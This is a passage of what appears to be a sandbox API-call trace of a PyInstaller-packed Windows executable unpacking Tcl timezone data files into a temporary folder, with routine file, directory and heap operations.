lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.895] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.895] CloseHandle (hObject=0x10c) returned 1 [0039.895] GetLastError () returned 0x0 [0039.895] SetLastError (dwErrCode=0x0) [0039.895] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic") returned 63 [0039.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\arctic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.895] GetLastError () returned 0x2 [0039.895] SetLastError (dwErrCode=0x2) [0039.895] GetLastError () returned 0x2 [0039.895] SetLastError (dwErrCode=0x2) [0039.895] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic", lpFilePart=0x0) returned 0x3e [0039.895] GetLastError () returned 0x2 [0039.895] SetLastError (dwErrCode=0x2) [0039.896] GetLastError () returned 0x2 [0039.896] SetLastError (dwErrCode=0x2) [0039.896] GetLastError () returned 0x2 [0039.896] SetLastError (dwErrCode=0x2) [0039.896] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\arctic"), lpSecurityAttributes=0x0) returned 1 [0039.896] GetLastError () returned 0x2 [0039.896] SetLastError (dwErrCode=0x2) [0039.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic\\Longyearbyen") returned 76 [0039.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic\\Longyearbyen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\arctic\\longyearbyen"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.896] GetLastError () returned 0x2 [0039.896] SetLastError (dwErrCode=0x2) [0039.896] GetLastError () returned 0x2 [0039.896] SetLastError (dwErrCode=0x2) [0039.896] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic\\Longyearbyen", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic\\Longyearbyen", lpFilePart=0x0) returned 0x4b [0039.896] GetLastError () returned 0x2 [0039.896] SetLastError (dwErrCode=0x2) [0039.896] GetLastError () returned 0x2 [0039.896] SetLastError (dwErrCode=0x2) [0039.896] GetLastError () returned 0x2 [0039.896] SetLastError (dwErrCode=0x2) [0039.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic\\Longyearbyen") returned 76 [0039.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Arctic\\Longyearbyen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\arctic\\longyearbyen"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.897] GetFileType (hFile=0x10c) returned 0x1 [0039.897] htonl (hostlong=0xb0000000) returned 0xb0 [0039.897] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.897] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb0, lpOverlapped=0x0) returned 1 [0039.898] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.898] CloseHandle (hObject=0x10c) returned 1 [0039.898] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.898] htonl (hostlong=0x40000000) returned 0x40 [0039.898] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.898] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.898] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.899] GetFileType (hFile=0x10c) returned 0x1 [0039.899] htonl (hostlong=0x8aa35a00) returned 0x5aa38a [0039.899] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f538a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.899] htonl (hostlong=0x85000000) returned 0x85 [0039.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0039.899] htonl (hostlong=0x85000000) returned 0x85 [0039.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.899] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.899] htonl (hostlong=0x8c000000) returned 0x8c [0039.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x550600 [0039.899] htonl (hostlong=0x85000000) returned 0x85 [0039.899] htonl (hostlong=0x8c000000) returned 0x8c [0039.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.899] CloseHandle (hObject=0x10c) returned 1 [0039.899] GetLastError () returned 0x0 [0039.899] SetLastError (dwErrCode=0x0) [0039.899] GetLastError () returned 0x0 [0039.899] SetLastError (dwErrCode=0x0) [0039.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.899] GetFileType (hFile=0x10c) returned 0x1 [0039.899] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.899] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.900] CloseHandle (hObject=0x10c) returned 1 [0039.900] GetLastError () returned 0x0 [0039.900] SetLastError (dwErrCode=0x0) [0039.900] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.900] GetFileType (hFile=0x10c) returned 0x1 [0039.900] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.900] CloseHandle (hObject=0x10c) returned 1 [0039.901] GetLastError () returned 0x0 [0039.901] SetLastError (dwErrCode=0x0) [0039.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.901] GetLastError () returned 0x2 [0039.901] SetLastError (dwErrCode=0x2) [0039.901] GetLastError () returned 0x2 [0039.901] SetLastError (dwErrCode=0x2) [0039.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia", lpFilePart=0x0) returned 0x3c [0039.901] GetLastError () returned 0x2 [0039.901] SetLastError (dwErrCode=0x2) [0039.901] GetLastError () returned 0x2 [0039.901] SetLastError (dwErrCode=0x2) [0039.901] GetLastError () returned 0x2 [0039.901] SetLastError (dwErrCode=0x2) [0039.901] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), lpSecurityAttributes=0x0) returned 1 [0039.904] GetLastError () returned 0x2 [0039.904] SetLastError (dwErrCode=0x2) [0039.904] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aden") returned 66 [0039.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aden" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\aden"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.905] GetLastError () returned 0x2 [0039.905] SetLastError (dwErrCode=0x2) [0039.905] GetLastError () returned 0x2 [0039.905] SetLastError (dwErrCode=0x2) [0039.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aden", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aden", lpFilePart=0x0) returned 0x41 [0039.905] GetLastError () returned 0x2 [0039.905] SetLastError (dwErrCode=0x2) [0039.905] GetLastError () returned 0x2 [0039.905] SetLastError (dwErrCode=0x2) [0039.905] GetLastError () returned 0x2 [0039.905] SetLastError (dwErrCode=0x2) [0039.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aden") returned 66 [0039.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Aden" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\aden"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.905] GetFileType (hFile=0x10c) returned 0x1 [0039.905] htonl (hostlong=0x8c000000) returned 0x8c [0039.905] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.905] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8c, lpOverlapped=0x0) returned 1 [0039.906] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.906] CloseHandle (hObject=0x10c) returned 1 [0039.907] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.907] htonl (hostlong=0x30000000) returned 0x30 [0039.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.907] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.907] GetFileType (hFile=0x10c) returned 0x1 [0039.907] htonl (hostlong=0xfa45a00) returned 0x5aa40f [0039.907] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f540f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.907] htonl (hostlong=0xa2010000) returned 0x1a2 [0039.907] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a2) returned 0x550600 [0039.907] htonl (hostlong=0xa2010000) returned 0x1a2 [0039.907] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.908] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.908] htonl (hostlong=0x5b060000) returned 0x65b [0039.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x65b) returned 0x55e278 [0039.908] htonl (hostlong=0xa2010000) returned 0x1a2 [0039.908] htonl (hostlong=0x5b060000) returned 0x65b [0039.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.908] CloseHandle (hObject=0x10c) returned 1 [0039.908] GetLastError () returned 0x0 [0039.908] SetLastError (dwErrCode=0x0) [0039.908] GetLastError () returned 0x0 [0039.908] SetLastError (dwErrCode=0x0) [0039.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.908] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.908] GetFileType (hFile=0x10c) returned 0x1 [0039.908] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.908] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.908] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.908] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.908] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.908] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.908] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.908] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.908] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.909] CloseHandle (hObject=0x10c) returned 1 [0039.909] GetLastError () returned 0x0 [0039.909] SetLastError (dwErrCode=0x0) [0039.909] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.909] GetFileType (hFile=0x10c) returned 0x1 [0039.909] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.909] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.909] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.909] CloseHandle (hObject=0x10c) returned 1 [0039.909] GetLastError () returned 0x0 [0039.909] SetLastError (dwErrCode=0x0) [0039.909] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.909] GetFileType (hFile=0x10c) returned 0x1 [0039.909] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, 